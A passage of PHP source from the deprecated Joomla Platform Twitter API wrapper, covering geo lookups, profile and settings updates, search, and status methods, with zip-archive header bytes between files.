* but it can also take a string that is suffixed with ft to
specify feet.
* @param string $granularity This is the minimal granularity of
place types to return and must be one of: poi, neighborhood,
* city, admin or country.
* @param integer $maxResults A hint as to the number of results to
return.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getGeocode($lat, $long, $accuracy = null, $granularity =
null, $maxResults = 0, $callback = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'reverse_geocode');
// Set the API path
$path = '/geo/reverse_geocode.json';
// Set the request parameters
$data['lat'] = $lat;
$data['long'] = $long;
// Check if accuracy is specified
if ($accuracy)
{
$data['accuracy'] = $accuracy;
}
// Check if granularity is specified
if ($granularity)
{
$data['granularity'] = $granularity;
}
// Check if max_results is specified
if ($maxResults)
{
$data['max_results'] = $maxResults;
}
// Check if callback is specified
if ($callback)
{
$data['callback'] = $callback;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to search for places that can be attached to a statuses/update.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
* @param string $query Free-form text to match against while
executing a geo-based query, best suited for finding nearby
* locations by name.
* @param string $ip An IP address.
* @param string $granularity This is the minimal granularity of
place types to return and must be one of: poi, neighborhood, city,
* admin or country.
* @param string $accuracy A hint on the "region" in
which to search. If a number, then this is a radius in meters, but it can
* also take a string that is suffixed with ft to specify feet.
* @param integer $maxResults A hint as to the number of results to
return.
* @param string $within This is the place_id which you would
like to restrict the search results to.
* @param string $attribute This parameter searches for places
which have this given street address.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function search($lat = null, $long = null, $query = null, $ip =
null, $granularity = null, $accuracy = null, $maxResults = 0,
$within = null, $attribute = null, $callback = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'search');
// Set the API path
$path = '/geo/search.json';
// At least one of the following parameters must be provided: lat, long,
ip, or query.
if ($lat == null && $long == null && $ip == null
&& $query == null)
{
throw new RuntimeException('At least one of the following
parameters must be provided: lat, long, ip, or query.');
}
// Check if lat is specified.
if ($lat)
{
$data['lat'] = $lat;
}
// Check if long is specified.
if ($long)
{
$data['long'] = $long;
}
// Check if query is specified.
if ($query)
{
$data['query'] = rawurlencode($query);
}
// Check if ip is specified.
if ($ip)
{
$data['ip'] = $ip;
}
// Check if granularity is specified
if ($granularity)
{
$data['granularity'] = $granularity;
}
// Check if accuracy is specified
if ($accuracy)
{
$data['accuracy'] = $accuracy;
}
// Check if max_results is specified
if ($maxResults)
{
$data['max_results'] = $maxResults;
}
// Check if within is specified
if ($within)
{
$data['contained_within'] = $within;
}
// Check if attribute is specified
if ($attribute)
{
$data['attribute:street_address'] = rawurlencode($attribute);
}
// Check if callback is specified
if ($callback)
{
$data['callback'] = $callback;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to locate places near the given coordinates which are similar in
name.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
* @param string $name The name a place is known as.
* @param string $within This is the place_id which you would like
to restrict the search results to.
* @param string $attribute This parameter searches for places which
have this given street address.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSimilarPlaces($lat, $long, $name, $within = null,
$attribute = null, $callback = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'similar_places');
// Set the API path
$path = '/geo/similar_places.json';
$data['lat'] = $lat;
$data['long'] = $long;
$data['name'] = rawurlencode($name);
// Check if within is specified
if ($within)
{
$data['contained_within'] = $within;
}
// Check if attribute is specified
if ($attribute)
{
$data['attribute:street_address'] = rawurlencode($attribute);
}
// Check if callback is specified
if ($callback)
{
$data['callback'] = $callback;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to create a new place object at the given latitude and
longitude.
*
* @param float $lat The latitude to search around.
* @param float $long The longitude to search around.
* @param string $name The name a place is known as.
* @param string $geoToken The token found in the response from
geo/similar_places.
* @param string $within This is the place_id which you would like
to restrict the search results to.
* @param string $attribute This parameter searches for places which
have this given street address.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function createPlace($lat, $long, $name, $geoToken, $within,
$attribute = null, $callback = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('geo', 'place');
$data['lat'] = $lat;
$data['long'] = $long;
$data['name'] = rawurlencode($name);
$data['token'] = $geoToken;
$data['contained_within'] = $within;
// Check if attribute is specified
if ($attribute)
{
$data['attribute:street_address'] = rawurlencode($attribute);
}
// Check if callback is specified
if ($callback)
{
$data['callback'] = $callback;
}
// Set the API path
$path = '/geo/place.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
PKRn�[z�_��'�'twitter/profile.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Profile class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterProfile extends JTwitterObject
{
/**
* Method to et values that users are able to set under the
"Account" tab of their settings page.
*
* @param string $name Full name associated with the profile.
Maximum of 20 characters.
* @param string $url URL associated with the profile. Will
be prepended with "http://" if not present. Maximum of 100
characters.
* @param string $location The city or country describing where
the user of the account is located. The contents are not normalized
* or geocoded in any way. Maximum of 30 characters.
* @param string $description A description of the user owning the
account. Maximum of 160 characters.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1
statuses will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateProfile($name = null, $url = null, $location = null,
$description = null, $entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account',
'update_profile');
$data = array();
// Check if name is specified.
if ($name)
{
$data['name'] = $name;
}
// Check if url is specified.
if ($url)
{
$data['url'] = $url;
}
// Check if location is specified.
if ($location)
{
$data['location'] = $location;
}
// Check if description is specified.
if ($description)
{
$data['description'] = $description;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/account/update_profile.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to update the authenticating user's profile background
image. This method can also be used to enable or disable the profile
* background image.
*
* @param string $image The background image for the profile.
* @param boolean $tile Whether or not to tile the background
image.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
* @param boolean $use Determines whether to display the
profile background image or not.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateProfileBackgroundImage($image = null, $tile = false,
$entities = null, $skipStatus = null, $use = false)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account',
'update_profile_background_image');
$data = array();
// Check if image is specified.
if ($image)
{
$data['image'] = "@{$image}";
}
// Check if url is true.
if ($tile)
{
$data['tile'] = $tile;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Check if use is true.
if ($use)
{
$data['use'] = $use;
}
// Set the API path
$path = '/account/update_profile_background_image.json';
$header = array('Content-Type' =>
'multipart/form-data', 'Expect' => '');
// Send the request.
return $this->sendRequest($path, 'POST', $data, $header);
}
/**
* Method to update the authenticating user's profile image.
*
* @param string $image The background image for the profile.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1 statuses
will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateProfileImage($image = null, $entities = null,
$skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account',
'update_profile_image');
$data = array();
// Check if image is specified.
if ($image)
{
$data['image'] = "@{$image}";
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is specified.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/account/update_profile_image.json';
$header = array('Content-Type' =>
'multipart/form-data', 'Expect' => '');
// Send the request.
return $this->sendRequest($path, 'POST', $data, $header);
}
/**
* Method to set one or more hex values that control the color scheme of
the authenticating user's profile page on twitter.com.
*
* @param string $background Profile background color.
* @param string $link Profile link color.
* @param string $sidebarBorder Profile sidebar's border color.
* @param string $sidebarFill Profile sidebar's fill color.
* @param string $text Profile text color.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $skipStatus When set to either true, t or 1
statuses will not be included in the returned user objects.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateProfileColors($background = null, $link = null,
$sidebarBorder = null, $sidebarFill = null, $text = null,
$entities = null, $skipStatus = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account',
'update_profile_colors');
$data = array();
// Check if background is specified.
if ($background)
{
$data['profile_background_color'] = $background;
}
// Check if link is specified.
if ($link)
{
$data['profile_link_color'] = $link;
}
// Check if sidebar_border is specified.
if ($sidebarBorder)
{
$data['profile_sidebar_border_color'] = $sidebarBorder;
}
// Check if sidebar_fill is specified.
if ($sidebarFill)
{
$data['profile_sidebar_fill_color'] = $sidebarFill;
}
// Check if text is specified.
if ($text)
{
$data['profile_text_color'] = $text;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if skip_status is true.
if (!is_null($skipStatus))
{
$data['skip_status'] = $skipStatus;
}
// Set the API path
$path = '/account/update_profile_colors.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to get the settings (including current trend, geo and sleep time
information) for the authenticating user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSettings()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('account', 'settings');
// Set the API path
$path = '/account/settings.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to update the authenticating user's settings.
*
* @param integer $location The Yahoo! Where On Earth ID to use as
the user's default trend location.
* @param boolean $sleepTime When set to true, t or 1, will enable
sleep time for the user.
* @param integer $startSleep The hour that sleep time should begin if
it is enabled.
* @param integer $endSleep The hour that sleep time should end if
it is enabled.
* @param string $timeZone The timezone dates and times should be
displayed in for the user. The timezone must be one of the
* Rails TimeZone names.
* @param string $lang The language which Twitter should render
in for this user.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function updateSettings($location = null, $sleepTime = false,
$startSleep = null, $endSleep = null,
$timeZone = null, $lang = null)
{
$data = array();
// Check if location is specified.
if ($location)
{
$data['trend_location_woeid '] = $location;
}
// Check if sleep_time is true.
if ($sleepTime)
{
$data['sleep_time_enabled'] = $sleepTime;
}
// Check if start_sleep is specified.
if ($startSleep)
{
$data['start_sleep_time'] = $startSleep;
}
// Check if end_sleep is specified.
if ($endSleep)
{
$data['end_sleep_time'] = $endSleep;
}
// Check if time_zone is specified.
if ($timeZone)
{
$data['time_zone'] = $timeZone;
}
// Check if lang is specified.
if ($lang)
{
$data['lang'] = $lang;
}
// Set the API path
$path = '/account/settings.json';
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
}
PKRn�[)��}::twitter/search.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Search class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwittersearch extends JTwitterObject
{
/**
* Method to get tweets that match a specified query.
*
* @param string $query Search query. Should be URL encoded.
Queries will be limited by complexity.
* @param string $callback If supplied, the response will use the
JSONP format with a callback of the given name
* @param string $geocode Returns tweets by users located within a
given radius of the given latitude/longitude. The parameter value is
* specified by "latitude,longitude,radius", where
radius units must be specified as either "mi" (miles) or
"km" (kilometers).
* @param string $lang Restricts tweets to the given language,
given by an ISO 639-1 code.
* @param string $locale Specify the language of the query you
are sending (only ja is currently effective). This is intended for
* language-specific clients and the default should work in the
majority of cases.
* @param string $resultType Specifies what type of search results
you would prefer to receive. The current default is "mixed."
* @param integer $count The number of tweets to return per page,
up to a maximum of 100. Defaults to 15.
* @param string $until Returns tweets generated before the
given date. Date should be formatted as YYYY-MM-DD.
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) or equal to the specified ID.
* @param boolean $entities When set to either true, t or 1, each
tweet will include a node called "entities,". This node offers a
* variety of metadata about the tweet in a discrete structure,
including: urls, media and hashtags.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function search($query, $callback = null, $geocode = null, $lang =
null, $locale = null, $resultType = null, $count = 15,
$until = null, $sinceId = 0, $maxId = 0, $entities = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('search', 'tweets');
// Set the API path
$path = '/search/tweets.json';
// Set query parameter.
$data['q'] = rawurlencode($query);
// Check if callback is specified.
if ($callback)
{
$data['callback'] = $callback;
}
// Check if geocode is specified.
if ($geocode)
{
$data['geocode'] = $geocode;
}
// Check if lang is specified.
if ($lang)
{
$data['lang'] = $lang;
}
// Check if locale is specified.
if ($locale)
{
$data['locale'] = $locale;
}
// Check if result_type is specified.
if ($resultType)
{
$data['result_type'] = $resultType;
}
// Check if count is specified.
if ($count != 15)
{
$data['count'] = $count;
}
// Check if until is specified.
if ($until)
{
$data['until'] = $until;
}
// Check if since_id is specified.
if ($sinceId > 0)
{
$data['since_id'] = $sinceId;
}
// Check if max_id is specified.
if ($maxId > 0)
{
$data['max_id'] = $maxId;
}
// Check if entities is specified.
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the authenticated user's saved search queries.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSavedSearches()
{
// Check the rate limit for remaining hits
$this->checkRateLimit('saved_searches', 'list');
// Set the API path
$path = '/saved_searches/list.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to get the information for the saved search represented by the
given id.
*
* @param integer $id The ID of the saved search.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getSavedSearchesById($id)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('saved_searches',
'show/:id');
// Set the API path
$path = '/saved_searches/show/' . $id . '.json';
// Send the request.
return $this->sendRequest($path);
}
/**
* Method to create a new saved search for the authenticated user.
*
* @param string $query The query of the search the user would like to
save.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function createSavedSearch($query)
{
// Set the API path
$path = '/saved_searches/create.json';
// Set POST request data
$data['query'] = rawurlencode($query);
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to delete a saved search for the authenticating user.
*
* @param integer $id The ID of the saved search.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function deleteSavedSearch($id)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('saved_searches',
'destroy/:id');
// Set the API path
$path = '/saved_searches/destroy/' . $id . '.json';
// Send the request.
return $this->sendRequest($path, 'POST');
}
}
PKRn�[�G5�VTVTtwitter/statuses.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Twitter
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Twitter API Statuses class for the Joomla Platform.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/twitter` package via Composer instead
*/
class JTwitterStatuses extends JTwitterObject
{
/**
* Method to get a single tweet with the given ID.
*
* @param integer $id The ID of the tweet to retrieve.
* @param boolean $trimUser When set to true, each tweet returned in
a timeline will include a user object including only
* the status author's numerical ID.
* @param boolean $entities When set to true, each tweet will
include a node called "entities,". This node offers a variety of
metadata
* about the tweet in a discreet structure,
including: user_mentions, urls, and hashtags.
* @param boolean $myRetweet When set to either true, t or 1, any
statuses returned that have been retweeted by the authenticating user will
* include an additional
current_user_retweet node, containing the ID of the source status for the
retweet.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getTweetById($id, $trimUser = null, $entities = null,
$myRetweet = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses', 'show/:id');
// Set the API base
$path = '/statuses/show/' . $id . '.json';
$data = array();
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if my_retweet is specified
if (!is_null($myRetweet))
{
$data['include_my_retweet'] = $myRetweet;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to retrieve the latest statuses from the specified user
timeline.
*
* @param mixed $user Either an integer containing the user
ID or a string containing the screen name.
* @param integer $count Specifies the number of tweets to try
and retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always suggested
to set $includeRts to true
* @param boolean $includeRts When set to true, the timeline will
contain native retweets in addition to the standard stream of tweets.
* @param boolean $noReplies This parameter will prevent replies
from appearing in the returned timeline. This parameter is only supported
* for JSON and XML responses.
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) the specified ID.
* @param boolean $trimUser When set to true, each tweet returned
in a timeline will include a user object including only
* the status author's numerical ID.
* @param boolean $contributor This parameter enhances the
contributors element of the status response to include the screen_name of
the
* contributor. By default only the
user_id of the contributor is included.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getUserTimeline($user, $count = 20, $includeRts = null,
$noReplies = null, $sinceId = 0, $maxId = 0, $trimUser = null,
$contributor = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses',
'user_timeline');
$data = array();
// Determine which type of data was passed for $user
if (is_numeric($user))
{
$data['user_id'] = $user;
}
elseif (is_string($user))
{
$data['screen_name'] = $user;
}
else
{
// We don't have a valid entry
throw new RuntimeException('The specified username is not in the
correct format; must use integer or string');
}
// Set the API base
$path = '/statuses/user_timeline.json';
// Set the count string
$data['count'] = $count;
// Check if include_rts is specified
if (!is_null($includeRts))
{
$data['include_rts'] = $includeRts;
}
// Check if no_replies is specified
if (!is_null($noReplies))
{
$data['exclude_replies'] = $noReplies;
}
// Check if a since_id is specified
if ($sinceId > 0)
{
$data['since_id'] = (int) $sinceId;
}
// Check if a max_id is specified
if ($maxId > 0)
{
$data['max_id'] = (int) $maxId;
}
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Check if contributor details is specified
if (!is_null($contributor))
{
$data['contributor_details'] = $contributor;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to post a tweet.
*
* @param string $status The text of the tweet.
* @param integer $inReplyToStatusId The ID of an existing status
that the update is in reply to.
* @param float $lat The latitude of the location
this tweet refers to.
* @param float $long The longitude of the location
this tweet refers to.
* @param string $placeId A place in the world.
* @param boolean $displayCoordinates Whether or not to put a pin on
the exact coordinates a tweet has been sent from.
* @param boolean $trimUser When set to true, each tweet
returned in a timeline will include a user object including only
* the status author's
numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function tweet($status, $inReplyToStatusId = null, $lat = null,
$long = null, $placeId = null, $displayCoordinates = null,
$trimUser = null)
{
// Set the API base.
$path = '/statuses/update.json';
// Set POST data.
$data = array('status' => utf8_encode($status));
// Check if in_reply_to_status_id is specified.
if ($inReplyToStatusId)
{
$data['in_reply_to_status_id'] = $inReplyToStatusId;
}
// Check if lat is specified.
if ($lat)
{
$data['lat'] = $lat;
}
// Check if long is specified.
if ($long)
{
$data['long'] = $long;
}
// Check if place_id is specified.
if ($placeId)
{
$data['place_id'] = $placeId;
}
// Check if display_coordinates is specified.
if (!is_null($displayCoordinates))
{
$data['display_coordinates'] = $displayCoordinates;
}
// Check if trim_user is specified.
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to retrieve the most recent mentions for the authenticating
user.
*
* @param integer $count Specifies the number of tweets to try
and retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always suggested
to set $includeRts to true
* @param boolean $includeRts When set to true, the timeline will
contain native retweets in addition to the standard stream of tweets.
* @param boolean $entities When set to true, each tweet will
include a node called "entities,". This node offers a variety of
metadata
* about the tweet in a discreet
structure, including: user_mentions, urls, and hashtags.
* @param integer $sinceId Returns results with an ID greater than
(that is, more recent than) the specified ID.
* @param integer $maxId Returns results with an ID less than
(that is, older than) the specified ID.
* @param boolean $trimUser When set to true, each tweet returned
in a timeline will include a user object including only
* the status author's numerical ID.
* @param string $contributor This parameter enhances the
contributors element of the status response to include the screen_name
* of the contributor.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getMentions($count = 20, $includeRts = null, $entities =
null, $sinceId = 0, $maxId = 0,
$trimUser = null, $contributor = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses',
'mentions_timeline');
// Set the API base
$path = '/statuses/mentions_timeline.json';
// Set the count string
$data['count'] = $count;
// Check if include_rts is specified
if (!is_null($includeRts))
{
$data['include_rts'] = $includeRts;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if a since_id is specified
if ($sinceId > 0)
{
$data['since_id'] = (int) $sinceId;
}
// Check if a max_id is specified
if ($maxId > 0)
{
$data['max_id'] = (int) $maxId;
}
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Check if contributor is specified
if (!is_null($contributor))
{
$data['contributor_details'] = $contributor;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get the most recent tweets of the authenticated user that
have been retweeted by others.
*
* @param integer $count Specifies the number of tweets to try
and retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always
suggested to set $includeRts to true
* @param integer $sinceId Returns results with an ID greater
than (that is, more recent than) the specified ID.
* @param boolean $entities When set to true, each tweet will
include a node called "entities,". This node offers a variety of
metadata
* about the tweet in a discreet
structure, including: user_mentions, urls, and hashtags.
* @param boolean $userEntities The user entities node will be
disincluded when set to false.
* @param integer $maxId Returns results with an ID less than
(that is, older than) the specified ID.
* @param boolean $trimUser When set to true, each tweet returned
in a timeline will include a user object including only
* the status author's numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getRetweetsOfMe($count = 20, $sinceId = 0, $entities =
null, $userEntities = null, $maxId = 0, $trimUser = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses',
'retweets_of_me');
// Set the API path
$path = '/statuses/retweets_of_me.json';
// Set the count string
$data['count'] = $count;
// Check if a since_id is specified
if ($sinceId > 0)
{
$data['since_id'] = (int) $sinceId;
}
// Check if a max_id is specified
if ($maxId > 0)
{
$data['max_id'] = (int) $maxId;
}
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Check if entities is specified
if (!is_null($entities))
{
$data['include_entities'] = $entities;
}
// Check if entities is specified
if (!is_null($userEntities))
{
$data['include_user_entities'] = $userEntities;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to show user objects of up to 100 members who retweeted the
status.
*
* @param integer $id The numerical ID of the desired
status.
* @param integer $count Specifies the number of retweets to
try and retrieve, up to a maximum of 100.
* @param integer $cursor Causes the list of IDs to be broken
into pages of no more than 100 IDs at a time.
* The number of IDs returned is not
guaranteed to be 100 as suspended users are
* filtered out after connections are
queried. If no cursor is provided, a value of
* -1 will be assumed, which is the first
"page."
* @param boolean $stringifyIds Set to true to return IDs as strings,
false to return as integers.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getRetweeters($id, $count = 20, $cursor = null,
$stringifyIds = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses',
'retweeters/ids');
// Set the API path
$path = '/statuses/retweeters/ids.json';
// Set the status id.
$data['id'] = $id;
// Set the count string
$data['count'] = $count;
// Check if cursor is specified
if (!is_null($cursor))
{
$data['cursor'] = $cursor;
}
// Check if entities is specified
if (!is_null($stringifyIds))
{
$data['stringify_ids'] = $stringifyIds;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to get up to 100 of the first retweets of a given tweet.
*
* @param integer $id The numerical ID of the desired status.
* @param integer $count Specifies the number of tweets to try and
retrieve, up to a maximum of 200. Retweets are always included
* in the count, so it is always suggested to
set $includeRts to true
* @param boolean $trimUser When set to true, each tweet returned in a
timeline will include a user object including only
* the status author's numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function getRetweetsById($id, $count = 20, $trimUser = null)
{
// Check the rate limit for remaining hits
$this->checkRateLimit('statuses', 'retweets/:id');
// Set the API path
$path = '/statuses/retweets/' . $id . '.json';
// Set the count string
$data['count'] = $count;
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Send the request.
return $this->sendRequest($path, 'GET', $data);
}
/**
* Method to delete the status specified by the required ID parameter.
*
* @param integer $id The numerical ID of the desired status.
* @param boolean $trimUser When set to true, each tweet returned in a
timeline will include a user object including only
* the status author's numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function deleteTweet($id, $trimUser = null)
{
// Set the API path
$path = '/statuses/destroy/' . $id . '.json';
$data = array();
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to retweet a tweet.
*
* @param integer $id The numerical ID of the desired status.
* @param boolean $trimUser When set to true, each tweet returned in a
timeline will include a user object including only
* the status author's numerical ID.
*
* @return array The decoded JSON response
*
* @since 3.1.4
*/
public function retweet($id, $trimUser = null)
{
// Set the API path
$path = '/statuses/retweet/' . $id . '.json';
$data = array();
// Check if trim_user is specified
if (!is_null($trimUser))
{
$data['trim_user'] = $trimUser;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data);
}
/**
* Method to post a tweet with media.
*
* @param string $status The text of the tweet.
* @param string $media File to upload
* @param integer $inReplyToStatusId The ID of an existing status
that the update is in reply to.
* @param float $lat The latitude of the location
this tweet refers to.
* @param float $long The longitude of the location
this tweet refers to.
* @param string $placeId A place in the world.
* @param boolean $displayCoordinates Whether or not to put a pin on
the exact coordinates a tweet has been sent from.
* @param boolean $sensitive Set to true for content which
may not be suitable for every audience.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function tweetWithMedia($status, $media, $inReplyToStatusId = null,
$lat = null, $long = null, $placeId = null,
$displayCoordinates = null, $sensitive = null)
{
// Set the API request path.
$path = '/statuses/update_with_media.json';
// Set POST data.
$data = array(
'status' => utf8_encode($status),
'media[]' => "@{$media}",
);
$header = array('Content-Type' =>
'multipart/form-data');
// Check if in_reply_to_status_id is specified.
if (!is_null($inReplyToStatusId))
{
$data['in_reply_to_status_id'] = $inReplyToStatusId;
}
// Check if lat is specified.
if ($lat)
{
$data['lat'] = $lat;
}
// Check if long is specified.
if ($long)
{
$data['long'] = $long;
}
// Check if place_id is specified.
if ($placeId)
{
$data['place_id'] = $placeId;
}
// Check if display_coordinates is specified.
if (!is_null($displayCoordinates))
{
$data['display_coordinates'] = $displayCoordinates;
}
// Check if sensitive is specified.
if (!is_null($sensitive))
{
$data['possibly_sensitive'] = $sensitive;
}
// Send the request.
return $this->sendRequest($path, 'POST', $data, $header);
}
/**
* Method to get information allowing the creation of an embedded
representation of a Tweet on third party sites.
* Note: either the id or url parameters must be specified in a request.
It is not necessary to include both.
*
* @param integer $id The Tweet/status ID to return embed code
for.
* @param string $url The URL of the Tweet/status to be
embedded.
* @param integer $maxWidth The maximum width in pixels that the
embed should be rendered at. This value is constrained to be
* between 250 and 550 pixels.
* @param boolean $hideMedia Specifies whether the embedded Tweet
should automatically expand images which were uploaded via
* POST statuses/update_with_media.
* @param boolean $hideThread Specifies whether the embedded Tweet
should automatically show the original message in the case that
* the embedded Tweet is a reply.
* @param boolean $omitScript Specifies whether the embedded Tweet
HTML should include a `<script>` element pointing to widgets.js.
* In cases where a page already includes
widgets.js, setting this value to true will prevent a redundant
* script element from being included.
* @param string $align Specifies whether the embedded Tweet
should be left aligned, right aligned, or centered in the page.
* Valid values are left, right, center,
and none.
* @param string $related A value for the TWT related parameter,
as described in Web Intents. This value will be forwarded to all
* Web Intents calls.
* @param string $lang Language code for the rendered embed.
This will affect the text and localization of the rendered HTML.
*
* @return array The decoded JSON response
*
* @since 3.1.4
* @throws RuntimeException
*/
public function getOembed($id = null, $url = null, $maxWidth = null,
$hideMedia = null, $hideThread = null, $omitScript = null,
$align = null, $related = null, $lang = null)
{
